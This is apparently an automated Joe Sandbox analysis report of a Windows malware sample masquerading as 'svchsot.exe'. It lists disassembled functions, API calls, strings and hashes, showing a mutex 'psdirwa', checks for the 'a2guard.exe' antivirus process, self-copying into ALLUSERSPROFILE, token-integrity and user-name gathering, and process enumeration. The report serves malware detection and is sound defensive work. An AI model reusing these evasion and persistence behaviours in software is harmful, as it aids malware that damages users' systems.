free.MSVCRT ref: 00C6E828
free.MSVCRT ref: 00C6E832
free.MSVCRT ref: 00C6E83C

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmalloc
String ID:
API String ID: 2043655614-0
Opcode ID: 85820a4b7cfbf62d825ef575ed64e4517ae2fd90292bd41fdaee0927cf1864a6
Instruction ID: 04381d1055f966240d2e1e9e31a04dfa40ee8fa3cc3a2174bcb3589f586be112
Opcode Fuzzy Hash: 85820a4b7cfbf62d825ef575ed64e4517ae2fd90292bd41fdaee0927cf1864a6
Instruction Fuzzy Hash: 0E117572611B8081CB60DF39D88121D73A5FBD9BE0F609226ABAD477A8DF35CC96C740

Function 00C875A4 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C875CF
memcmp.MSVCRT ref: 00C875EA
memcmp.MSVCRT ref: 00C87600

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 26e0d05632ee771259b6d8779e1bb14a2af1a10e0c5519a103b38d64912a3de7
Instruction ID: ba5c5da2d8c06ed79b2ef3ce6412f69bf8ddd1c6cf6220bb5338fdb0423af7c6
Opcode Fuzzy Hash: 26e0d05632ee771259b6d8779e1bb14a2af1a10e0c5519a103b38d64912a3de7
Instruction Fuzzy Hash: DC01F1B2309B4185FB04AF2B9D693A822559B09FCCF984530DE068B346FF38CA56D30C

Function 00C6C8E8 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C6C913
memcmp.MSVCRT ref: 00C6C92E
memcmp.MSVCRT ref: 00C6C944

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: ebbf41f14a031a46e4a55ff2dc776043666cb55a5837aa6e1a48b56d902b4385
Instruction ID: d79259d6dde4ddfe0e7bdd9f21dfca1cba4c61c6bbd306927e7f28297e213252
Opcode Fuzzy Hash: ebbf41f14a031a46e4a55ff2dc776043666cb55a5837aa6e1a48b56d902b4385
Instruction Fuzzy Hash: DA01B1B230574141EB14AF27EDD53BC23559B0AFD8F888421DE4A9B346EF78CA55D308

Function 00C53A0C Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C53A37
memcmp.MSVCRT ref: 00C53A4D
memcmp.MSVCRT ref: 00C53A69
memcmp.MSVCRT ref: 00C53A85

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: fea3fd7b45b55f817435c8431d97fe1bf12a638175959c43ee92c8fc165712c7
Instruction ID: 31e26ce4f24f443177831f70bb1b7527e0050e465af48f69fdbe23dd8e71eb85
Opcode Fuzzy Hash: fea3fd7b45b55f817435c8431d97fe1bf12a638175959c43ee92c8fc165712c7
Instruction Fuzzy Hash: D801F5A630578151EF049B66DC593A823259B49FC5FC59421CE4A47347FF38CB8AE30C

Function 00C6CE98 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C6CEC3
memcmp.MSVCRT ref: 00C6CED9
memcmp.MSVCRT ref: 00C6CEF5
memcmp.MSVCRT ref: 00C6CF11

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3300147bea888004f54cd18b7a1711a170f8e79cb67e40ec15571cdf7fcd0c60
Instruction ID: 70d909befbb5fd196cce8516277225bfeae2046807049c32a2c40e5a4744f80e
Opcode Fuzzy Hash: 3300147bea888004f54cd18b7a1711a170f8e79cb67e40ec15571cdf7fcd0c60
Instruction Fuzzy Hash: 530192B230574191EB14EF6698D93B863269B19FD8F858421DE4A87746EF38CA46E308

Function 00C4538C Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C453E6
free.MSVCRT ref: 00C453EE
free.MSVCRT ref: 00C453FA
free.MSVCRT ref: 00C45402

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ea9aa8451205e714d2d2deee7ad544f8e48fe2026ff0a9e62e11d2d899170449
Instruction ID: 4ff38b3331a81e7d2dec6c55e0b8324bdc2256845fac37baa151c890fa3b413d
Opcode Fuzzy Hash: ea9aa8451205e714d2d2deee7ad544f8e48fe2026ff0a9e62e11d2d899170449
Instruction Fuzzy Hash: D001B163310EC8869A21AD97E88162E7614BB41FF9B1D4215FF380B351DFA0CD83C300

Function 00C61474 Relevance: 5.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT(00000010,00000000,00000000,00000000,00C6388E), ref: 00C614A6
free.MSVCRT(00000010,00000000,00000000,00000000,00C6388E), ref: 00C614AF
free.MSVCRT(00000010,00000000,00000000,00000000,00C6388E), ref: 00C614B8
free.MSVCRT(00000010,00000000,00000000,00000000,00C6388E), ref: 00C614C0

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: efa2551094f8694e9312fa94f2ef5c0b0e1a7981b61eb5219889216caf8af953
Instruction ID: 37e1b0418a38f4a69ae5b6ebd4ea1455732312c542041fc7ae2ed3e602299e44
Opcode Fuzzy Hash: efa2551094f8694e9312fa94f2ef5c0b0e1a7981b61eb5219889216caf8af953
Instruction Fuzzy Hash: FEF05E537119D4898A20AE27DCD217C2364BF56BB9B5C5171BF2D0B754EE20CC928300

Function 00C87968 Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C8799B
free.MSVCRT ref: 00C879A4
free.MSVCRT ref: 00C879AC
free.MSVCRT ref: 00C879B9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d981d276683500439fe255ece07c6d20aa2690fecfcea96cff91bf552de1cfa0
Instruction ID: fbe4e1630dd75ba2de6ca71b6bed545e840e472d7ae2e4c2fb2aaac955331436
Opcode Fuzzy Hash: d981d276683500439fe255ece07c6d20aa2690fecfcea96cff91bf552de1cfa0
Instruction Fuzzy Hash: A9F05E13B559D09A8A10BE27ED9216C6360BF56BB875C1671FF2D0BB45EE20CCA28354

Function 00C60BBC Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

free.MSVCRT(?,00000010,00000000,00000000,00C63885), ref: 00C60BCC
free.MSVCRT(?,00000010,00000000,00000000,00C63885), ref: 00C60BD5
free.MSVCRT(?,00000010,00000000,00000000,00C63885), ref: 00C60C00
free.MSVCRT(?,00000010,00000000,00000000,00C63885), ref: 00C60C08

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fffe1feea4d5eb521afbbdfec112adb7fa227329f3f82f7615eed68f37e3b42c
Instruction ID: 77e07ec6bb699e39a728c55b6cd963b4156bb67edaaa6bb057ad55ffd9ce3d92
Opcode Fuzzy Hash: fffe1feea4d5eb521afbbdfec112adb7fa227329f3f82f7615eed68f37e3b42c
Instruction Fuzzy Hash: 19F05E23B028C489CA21AE26DC9216D6360AF95FE9B6D9261AF2D1B355DE24CC829300

Analysis Process: svchsot.exePID: 6592, Parent PID: 3548COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 92
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,004033A9,004034C7,00000000,00000000), ref: 0040102B

Part of subcall function 0040388C: GetCommandLineW.KERNEL32(?,?), ref: 004038A8
Part of subcall function 0040388C: CommandLineToArgvW.SHELL32(00000000,?,?,?), ref: 004038B6

CreateMutexA.KERNEL32(00000000,00000000,psdirwa,00000018,00000004,start2,?), ref: 0040108A
GetLastError.KERNEL32(00000000,00000000,psdirwa,00000018,00000004,start2,?), ref: 0040108F
EnumWindows.USER32(004016E1,00000000), ref: 004010B4
Sleep.KERNEL32(00002710), ref: 004010BE
GetModuleFileNameA.KERNEL32(00000000,?,00000100,a2guard.exe,00002710,004016E1,00000000,00002710), ref: 004010EB
CopyFileA.KERNEL32(?,?,00000000), ref: 00401111
Sleep.KERNEL32(0000EA60,a2guard.exe,00002710,004016E1,00000000,00002710), ref: 00401137
ExitProcess.KERNEL32(00000000,0000EA60,a2guard.exe,00002710,004016E1,00000000,00002710), ref: 00403BEE

Strings

a2guard.exe, xrefs: 004010CF
psdirwa, xrefs: 00401053, 00401063, 00401081, 004010F0, 00401128
start2, xrefs: 00401030, 0040111A

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: CommandCreateFileLineSleep$ArgvCopyEnumErrorExitLastModuleMutexNameProcessThreadWindows
String ID: a2guard.exe$psdirwa$start2
API String ID: 1157956963-4291526611
Opcode ID: 60a78f051ff7a6d673da2ed03a1303a582cbb7c63b3f0cf57e136913082ea835
Instruction ID: 332e1808f07749b29744d910202e2ad9eaf72416f35cba6f023f0e4c0fce279c
Opcode Fuzzy Hash: 60a78f051ff7a6d673da2ed03a1303a582cbb7c63b3f0cf57e136913082ea835
Instruction Fuzzy Hash: F131E971A847047AF720BFA18C43F5A766CAB04B06F14447BB745BE0D2D5FCA7844A6D

Function 00401141 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 249
timecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004014AB: CoInitialize.OLE32(00000000), ref: 004014C9
Part of subcall function 004014AB: CoCreateInstance.OLE32(?,00000000,00000001,?,?,00405173,00000010,?,00405163,00000010,?,?,?,?,?,00000003), ref: 0040150A
Part of subcall function 004014AB: CoUninitialize.OLE32(?,00000000,00000001,?,?,00405173,00000010,?,00405163,00000010,?,?,?,?,?,00000003), ref: 0040154A

CoInitialize.OLE32(00000000), ref: 00401185
CoCreateInstance.OLE32(?,00000000,00000001,?,?,00405173,00000010,?,00405163,00000010,?,00000000,?,?,?,?), ref: 004011C6
CoUninitialize.OLE32(?,00000000,00000001,?,?,00405173,00000010,?,00405163,00000010,?,00000000,?,?,?,?), ref: 0040149F

Part of subcall function 004036EC: GetCurrentProcess.KERNEL32(?,?,?,psdirwa,00000003), ref: 0040370C
Part of subcall function 004036EC: OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 0040371A
Part of subcall function 004036EC: LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 0040372C
Part of subcall function 004036EC: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 00403743
Part of subcall function 004036EC: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 00403751
Part of subcall function 004036EC: LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?), ref: 0040375B
Part of subcall function 004036EC: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 00403772
Part of subcall function 004036EC: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa), ref: 00403782
Part of subcall function 004036EC: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 0040379A
Part of subcall function 004036EC: CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa), ref: 004037A2

GetUserNameW.ADVAPI32(?,?), ref: 0040126C
GetUserNameExW.SECUR32(00000002,?,?,?,00000400,?,00402E67,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 00401283
GetLocalTime.KERNEL32(?,?,00000030,?,00402E67,?,00000014,?,00000000,00000001,00000000,00000018,?,?,?,00000002), ref: 00401325
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000030,?,00402E67,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 00401338
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00000030,?,00402E67,?,00000014,?,00000000,00000001,00000000,00000018), ref: 00401369

Strings

0, xrefs: 00401399

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: LocalTime$Token$AllocCreateFileFreeInformationInitializeInstanceNameProcessSystemUninitializeUser$AuthorityCloseCurrentHandleOpen
String ID: 0
API String ID: 806787475-4108050209
Opcode ID: 5ea4cddbe51509ec3202bbed6586eb28c4e0736268cbbd5f42b000f8f910ba4c
Instruction ID: 9095f5726f2fcdb9a014651f1562b5dabaf9dea437af69d14f0d77f9477e239f
Opcode Fuzzy Hash: 5ea4cddbe51509ec3202bbed6586eb28c4e0736268cbbd5f42b000f8f910ba4c
Instruction Fuzzy Hash: 0FA1F9B5900618AFDB10DF94CC85FDAB7BCAF48305F1040EAE608E7291D679AB85CF59

Function 00401556 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 84
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401587
Process32First.KERNEL32(00000000,Process32First,kernel32.dll,?,?,?,00000128,?,000000FF,?,?,?,psdirwa,?,00000003), ref: 004015D2

Strings

Process32Next, xrefs: 0040164E
Process32First, xrefs: 004015C7
psdirwa, xrefs: 00401561
kernel32.dll, xrefs: 004015BD, 00401644

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID: Process32First$Process32Next$kernel32.dll$psdirwa
API String ID: 2353314856-2662378112
Opcode ID: 8029e531b09eb8f9d181a060406e55b53b7aee4507a781dafbe19c64825a99c8
Instruction ID: 0d3401893b211a0b92e9a997ebae9ad0a6a054de71011b1099f8c0613de6247b
Opcode Fuzzy Hash: 8029e531b09eb8f9d181a060406e55b53b7aee4507a781dafbe19c64825a99c8
Instruction Fuzzy Hash: F02181B28041186BDB21EBB1CC45FDE7BAC9B05314F1449BBF245B20D1DB799B448F68

Function 004033A9 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 78
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,win32app,00000009,?,Microsoft,0000000A,?,?), ref: 004033EA
LoadIconA.USER32(00000000,00007F04), ref: 0040342A
LoadCursorA.USER32(00000000,00007F01), ref: 00403439
RegisterClassA.USER32(00000000), ref: 0040344C
CreateWindowExA.USER32(00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000), ref: 00403486
ShowWindow.USER32(?,00000001,?,?,00000000,win32app,00000009,?,Microsoft,0000000A,?,?), ref: 00403493
UpdateWindow.USER32(?), ref: 0040349B
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004034AA
TranslateMessage.USER32(?), ref: 004034B3
DispatchMessageA.USER32(?), ref: 004034BC

Strings

Microsoft, xrefs: 004033CB
win32app, xrefs: 004033DE

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchHandleIconModuleRegisterShowTranslateUpdate
String ID: Microsoft$win32app
API String ID: 1919798786-2644191155
Opcode ID: ce9d2bdd32718cf578cd7883eba6c45f404d3df7c2701decef205f0ade77ed1f
Instruction ID: 054a77dcc3b7e9a2f04c3bea0ea33cbeba87c1897e8490e9be34ed08c3cd83a3
Opcode Fuzzy Hash: ce9d2bdd32718cf578cd7883eba6c45f404d3df7c2701decef205f0ade77ed1f
Instruction Fuzzy Hash: B6310C71E54208BAEB50EFA5CC46FDEBABCAB04B05F10406AF204FA1C1D7B957048B59

Function 004036EC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 71
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,psdirwa,00000003), ref: 0040370C
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 0040371A
LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 0040372C
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 00403743
LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 00403751
LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?), ref: 0040375B
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 00403772
GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa), ref: 00403782
LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa,00000003), ref: 0040379A
CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,?,?,psdirwa), ref: 004037A2

Strings

psdirwa, xrefs: 004036F3

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: Local$Token$AllocFreeInformationProcess$AuthorityCloseCurrentHandleOpen
String ID: psdirwa
API String ID: 1358183241-3683654655
Opcode ID: 90bfc3a79bcd093b43e7bc9fe8e1b09bfe7f0b9a88c163fdab8c985fcfe6805c
Instruction ID: 6c3637b2f7ecd806e5e5a4ad661aeac47d18456e198a8308769135c36c82622c
Opcode Fuzzy Hash: 90bfc3a79bcd093b43e7bc9fe8e1b09bfe7f0b9a88c163fdab8c985fcfe6805c
Instruction Fuzzy Hash: 4621ED72D04209BADF01AFE1CC42EEEBB7DAF4430AF10857AB210B5091DB799B149B54

Function 004034C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcA.USER32(?,0000004A,?,?), ref: 004034DF
WSACleanup.WSOCK32(psdirwa), ref: 004034F0
ExitProcess.KERNEL32(00000000,0000EA60,a2guard.exe,00002710,004016E1,00000000,00002710), ref: 00403BEE

Strings

psdirwa, xrefs: 004034E6
J, xrefs: 004034CD

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: CleanupExitProcProcessWindow
String ID: J$psdirwa
API String ID: 4061260214-2524263706
Opcode ID: 57d469cc6854f25fbc08068f66eeb2a135e2300e7feae4fda69bbae5ab78d574
Instruction ID: cced305ce8c244ca5322f4f87acee0f1e8381e447c5686c4c649f8e6cbaab784
Opcode Fuzzy Hash: 57d469cc6854f25fbc08068f66eeb2a135e2300e7feae4fda69bbae5ab78d574
Instruction Fuzzy Hash: 2BE04836108109BBDB116E969C02E9A3F2CEF0539AF118437F515380E2457E9621AA6A

Function 00401670 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNEL32(ALLUSERSPROFILE,?,00000100,psdirwa,?,00000003,?,00401101,?,psdirwa,00000000,?,00000100,a2guard.exe,00002710,004016E1), ref: 00401683
CreateDirectoryA.KERNEL32(?,00000000,00000018,00000004,ALLUSERSPROFILE,?,00000100,psdirwa,?,00000003,?,00401101,?,psdirwa,00000000,?), ref: 004016B4

Strings

psdirwa, xrefs: 00401675
ALLUSERSPROFILE, xrefs: 0040167E

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: CreateDirectoryEnvironmentVariable
String ID: ALLUSERSPROFILE$psdirwa
API String ID: 2250995361-2837649678
Opcode ID: 922fa3237044babe5e8122a444c173e3a6912460023215f7937d6ccb806dcdb9
Instruction ID: ddc9a253ea77d039c69ebb1fecbd5cb9a3757011ffa952f804c1cb1fd003954e
Opcode Fuzzy Hash: 922fa3237044babe5e8122a444c173e3a6912460023215f7937d6ccb806dcdb9
Instruction Fuzzy Hash: F6F0A43A100108BADB00EE59DC42FC93F569B5879AF549061F7143B292CB76A606AF64

Function 004014AB Relevance: 4.6, APIs: 3, Instructions: 59
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 004014C9
